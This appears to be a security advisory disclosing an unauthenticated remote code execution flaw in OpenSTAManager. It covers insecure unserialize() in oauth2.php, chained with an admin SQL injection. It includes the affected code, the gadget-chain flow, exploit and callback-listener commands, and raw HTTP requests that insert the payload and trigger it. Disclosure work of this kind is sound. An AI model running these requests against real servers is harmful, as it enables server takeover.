OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2
Description
The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.
An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.
Affected code
Entry point — oauth2.php
```php
$skip_permissions = true; // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';
$state = $_GET['state']; // Line 28: attacker-controlled
$code = $_GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chain
```
Deserialization — src/Models/OAuth2.php
```php
// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;
```
unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.
Execution flow
```
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access_token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast.__destruct() ← fires during shutdown
→ system($command) ← RCE
```
The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.
Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE:
1. Payload injection (requires admin account): Via op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz_oauth2.access_token
2. RCE trigger (unauthenticated): A GET request to oauth2.php?state=<known_value>&code=x triggers the deserialization and executes the command
Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.
Gadget chain
The chain used is Laravel/RCE22 (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project's dependencies:
```
PendingBroadcast.__destruct()
→ $this->events->dispatch($this->event)
→ chain of __call() / __invoke()
→ system($command)
```
Proof of Concept
Execution
Terminal 1 — Attacker listener:
```bash
python3 listener.py --port 9999
```
Terminal 2 — Exploit:
```bash
python3 exploit.py \
--target http://localhost:8888 \
--callback http://host.docker.internal:9999 \
--user admin --password <password>
```
<img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" />
Observed result
Listener receives:
<img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" />
The id command was executed on the server as www-data, confirming RCE.
HTTP requests from the exploit
Step 4 — Injection (authenticated):
```
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]
```
Step 5 — Trigger (NO authentication):
```
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
